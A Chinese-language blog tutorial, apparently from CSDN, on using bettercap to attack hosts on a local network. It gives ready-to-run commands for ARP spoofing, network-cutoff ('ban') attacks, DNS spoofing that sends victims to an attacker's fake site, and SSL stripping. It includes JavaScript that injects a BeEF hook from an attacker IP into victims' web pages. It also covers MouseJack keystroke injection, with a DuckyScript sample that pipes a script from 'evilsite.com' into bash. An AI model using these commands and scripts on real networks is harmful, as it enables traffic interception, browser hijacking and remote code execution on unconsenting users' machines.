bettercap流量拦截

bettercap

安装

kali和ubuntu 直接使用终端安装

apt-get install bettercap

主机发现

使用net.recon on​ 主机发现

sudo bettercap
bettercap v2.32.0 (built for linux amd64 with go1.21.0) [type 'help' for a list of commands]
192.168.2.0/24 > 192.168.2.110  » [21:44:26] [sys.log] [inf] gateway monitor started ...
192.168.2.0/24 > 192.168.2.110  » net.recon on

net.show​ 查看存活的主机

ARP欺骗

命令

arp.spoof on

启动 ARP spoofer。

arp.ban on

在禁止模式下启动 ARP 欺骗器,这意味着目标连接将不起作用。

arp.spoof/ban off

停止 ARP 欺骗器。

参数

参数违约描述
arp.spoof.targets<entire subnet>以逗号分隔的 MAC 地址、IP 地址、IP 范围或别名列表,以欺骗 (支持的范围格式列表).
arp.spoof.whitelist以逗号分隔的 MAC 地址、IP 地址、IP 范围或别名列表,在欺骗时要跳过。
arp.spoof.internalfalse如果为 true,则网络计算机之间的本地连接也将被欺骗,否则只有进出外部网络的连接。
arp.spoof.fullduplexfalse如果为 true,则目标和网关都将受到攻击,否则仅攻击目标(如果路由器具有 ARP 欺骗保护,这将使攻击失败)。

例子

禁止该地址进入网络:192.168.1.6

> set arp.spoof.targets 192.168.1.6; arp.ban on

欺骗 ,以及 :192.168.1.2192.168.1.3192.168.1.4

> set arp.spoof.targets 192.168.1.2-4; arp.spoof on

Arp欺骗

使用arp.spoof​模块

set arp.spoof.targets 172.20.10.13 #设置攻击目标,可以是一个网段如:172.20.10.1-20.多个地址使用逗号隔开,也可以用地址的mac
get arp.spoof.targets              #获取arp.spoof.targets的值

开启ARP欺骗

arp.spoof on

嗅探目标数据

net.sniff

也可以用wireshark来抓包

断网

arp.ban  on :      开启ARP欺骗,用ban模式,这就意味着目标将不能上网,也就是断网攻击
arp.ban off :       停止ARP欺骗

DNS欺骗

DNS欺骗有一个前提,就是局域网内的主机的DNS服务器是局域网的网关,才能进行欺骗。如果是公网的DNS就不行了。
DNS欺骗之前我们需要利用ARP欺骗让目标机认为网关就是我们(攻击机),所以主机就会向我们发送DNS请求,这样就可以进行DNS欺骗了。
首先进行ARP欺骗

set arp.spoof.targets 172.20.10.13
arp.spoof on

然后进行DNS欺骗

set dns.spoof.domains www.sina.com #设置要欺骗的域名,多个域名用逗号隔开,如果要欺骗所有域名用通配符“*”
set dns.spoof.address 172.20.10.12 #设置将要欺骗的域名转换成的ip地址(这里可以换成我们自己的服务器,里面写上一个假的网站做些不可描述的东西)
dns.spoof on  #开启DNS欺骗

如图所示,ping www.sina.com时目标机直接向我们发起请求。打新浪首页进入的是我们自己的网站。

对于多个映射,请使用 hosts 文件而不是参数:dns.spoof.*

> !cat ./dns.spoof.hosts

1.2.3.4 facebook.com
1.2.3.5 cnn.com
1.2.4.6 www.google.com

比如我们创建一个host文件如下:

进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了

set dns.spoof.hosts /root/host   #设置欺骗的域名和对应ip   /home/zhaiyujin/下载/dns.spoof.hosts
dns.spoof on  #开启dns欺骗

注入脚本

通过进行ARP欺骗,我们可以拦截到流量,自然就可以对拦截到的流量进行操作,我们可以对http协议的数据包进行代理,然后向里面注入恶意脚本。

set arp.spoof.targets 172.20.10.13    #设置arp欺骗的目标
arp.spoof on                          #开启ARP欺骗
set http.proxy.script /root/1.js      #注入恶意脚本
set https.proxy.script /root/1.js
http.proxy on                         #开启HTTP代理
https.proxy on 

脚本文件1.js如下

function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript">alert("your computer has hacked!")</script></head>'
            );
            }
        }
}

当目标机访问一个http或者https协议的站点时,就可以看到脚本已经注入到请求的网站。

image

结合beef-xss注入

既然我们可以注入js脚本,那么我们就可以利用beef来对目标浏览器进行控制。

set arp.spoof.targets 172.20.10.13    #设置arp欺骗的目标
set http.proxy.script  /root/test.js        #往http流量中注入脚本/root/test.js
set http.proxy.sslstrip true    #启用SSL剥离

http.proxy on   #开启HTTP代理
arp.spoof on   #开启ARP欺骗

test.js内容如下:

function onResponse(req,res){
    if(res.ContentType.indexOf('text/html')==0){
        var body=res.ReadBody();
        if(body.indexOf('</head>')!=-1){
            res.Body=body.replace(
                '</head>',
               '<script type="text/javascript" src="http://172.20.10.2:3000/hook.js"></script></head>'
            );
            }
        }
}

beef不晓得传送门在这里——>kali之beef的使用

端口扫描

用于执行 SYN 端口扫描的模块,当发现开放端口时,端点的元字段将被填充,并显示在tcp-ports新.show查看是否net.show.meta (英语)设置为 。true

命令

syn.scan IP-RANGE START-PORT END-PORT?

对提供的端口范围内的 IP 地址执行同步端口扫描。

syn.scan stop

停止当前同步扫描会话。

syn.scan.progress

打印当前同步扫描会话的进度。

参数

参数违约描述
syn.scan.show-progress-every1扫描进度报告的时间段(以秒为单位)。

例子

扫描单个 IP 的端口:11000

> syn.scan 192.168.1.3 1 1000

扫描端口的多个地址:22

> syn.scan 192.168.1.1-50 22

扫描整个子网中的端口,以便:110000

> syn.scan 192.168.1.0/24 1 10000

2.4GHZ 上的 HID

此模块是巴士底狱的老鼠劫持攻击,使用基于 Nordic Semiconductor nRF2LU4+ 的 USB 加密狗和巴士底狱的 USB 加密狗在 24.1Ghz 频谱上对 HID 设备执行扫描和帧注入RFStorm 固件.

该模块将与 RFStorm 支持的器件之一配合使用:

  • CrazyRadio PA USB 加密狗
  • SparkFun nRF24LU1+ 分线板
  • 罗技 Unifying 加密狗(型号 C-U0007,基于 Nordic Semiconductor)

为了使此模块正常工作,您需要确保安装了Bastille 的 RFStorm 固件在受支持的设备上。

使用正确的固件刷新并连接到计算机后,应将设备报告为:dmesg

usb 3-1.3: new full-speed USB device number 8 using xhci_hcd
usb 3-1.3: New USB device found, idVendor=1915, idProduct=0102
usb 3-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 3-1.3: Product: Research Firmware
usb 3-1.3: Manufacturer: RFStorm

已知该攻击支持检测和鸭子脚本注射以下设备:

  • Microsoft 无线键盘 800
  • Microsoft 无线鼠标 1000
  • Microsoft 无线移动鼠标 3500
  • Microsoft 一体式媒体键盘
  • Microsoft Sculpt 人体工学鼠标
  • 罗技无线触控键盘 K400r
  • 罗技 Marathon M705 鼠标
  • 罗技 Wave M510 鼠标
  • 罗技无线游戏鼠标 G700s
  • 罗技无线 M325 鼠标
  • 罗技 K750 无线键盘
  • 罗技 K320 无线键盘
  • 戴尔 KM636 无线鼠标和键盘
  • AmazonBasics MG-0975 无线鼠标

命令

hid.recon on

开始扫描 2.4Ghz 频谱上的 HID 设备。

hid.recon off

停止扫描 2.4Ghz 频谱上的 HID 设备。

hid.clear

清除 HID 发现模块收集的所有设备。

hid.show

显示 2.4Ghz 频谱上检测到的 HID 设备列表。

hid.sniff ADDRESS

开始嗅探特定的 ADDRESS 以收集有效载荷,使用“clear”停止收集。

hid.inject ADDRESS LAYOUT FILENAME

解析 DuckyScript 并将其注入为欺骗设备的 HID 帧,使用键盘映射(可用布局:)。FILENAMEADDRESSLAYOUTBE BR CA CH DE DK ES FI FR GB HR IT NO PT RU SI SV TR US

该命令不要求通过命令显示 HID 设备。如果您已经知道加密狗的地址,则只需将参数设置为其中之一(默认值),或者“盲目”运行注入。hid.injecthid.showhid.force.typelogitechamazonmicrosoft

参数

参数违约描述
hid.lnatrue如果为 true,请启用 LNA 功率放大器用于 CrazyRadio 设备。
hid.hop.period100在跳转到下一个通道之前在每个通道上停留的时间(以毫秒为单位)。
hid.ping.period100在嗅探器模式下尝试对给定通道上的设备执行 ping 操作的时间(以毫秒为单位)。
hid.sniff.period500检测到设备后自动嗅探有效载荷以确定其类型的时间(以毫秒为单位)。
hid.force.typelogitech如果设备不可见(如果要在没有连接设备的情况下直接与硬件保护装置通信)或未检测到其类型,请强制将设备类型设置为此值。接受的值: , , .logitechamazonmicrosoft
hid.show.filter定义 的正则表达式筛选器。hid.show
hid.show.sortmac desc定义 的排序字段(mac、seen)和方向(asc 或 desc)。hid.show
hid.show.limit0定义 的限制。hid.show

例子

启用 HID 发现,使用模块显示检测到的设备,等待检测到设备,并使用美式键盘布局将脚本注入为 HID 帧:ticker32:26:9f:a4:08ducky.txt

> set ticker.commands clear; hid.show; events.show 10
> hid.recon on
> ticker on
# ... wait for the device to be detected, using `hid.show` ...
> hid.inject 32:26:9f:a4:08 US ducky.txt

将脚本击键发送到加密狗,地址强制其类型为,并且无需等待任何连接的设备可见:ducky.txt32:26:9f:a4:08logitech

> set hid.force.type logitech
> hid.recon on
> hid.inject 32:26:9f:a4:08 US ducky.txt

示例(有关可用命令的完整列表)ducky.txt查看文档):

GUI SPACE
DELAY 200
STRING Terminal
ENTER
DELAY 500
STRING curl -L http://www.evilsite.com/commands.sh | bash
ENTER

黑客入侵罗技设备:

替换下载文件

在bettercap中,有一种文件后缀叫.cap我们启动bettercap的时候可以指定该.cap文件,就可以按照这个文件还行命令。
比如我们随便创建一个xss.cap文件,内容如下:
在这里插入图片描述
在命令行中输入以下命令就可以加载并执行xss.cap的命令

root@kali:~# bettercap -caplet xss.cap 

在这里插入图片描述
使用active可以详细的查看框架的变量及开启的模块
在这里插入图片描述
在新的版本中还加入了caplets,使用caplets.update下载更新后会存储由由开发者编写的各种功能的模块脚本。我们可以通过caplets.show来查看有哪些.cap模块。
在这里插入图片描述

HTTP 服务器

一个简单的 HTTP 服务器,用于通过网络提供文件和脚本。

命令

http.server on

在后台启动 HTTP 服务器。

http.server off

在后台停止 HTTP 服务器。

参数

参数违约描述
http.server.path.服务器文件夹。
http.server.address<interface address>要将 http 服务器绑定到的地址。
http.server.port80要将 http 服务器绑定到的端口。

例子

一班服务:/var/www/html

sudo bettercap -eval "set http.server.path /var/www/html; http.server on"

官网

  • 21
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tonicGB

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值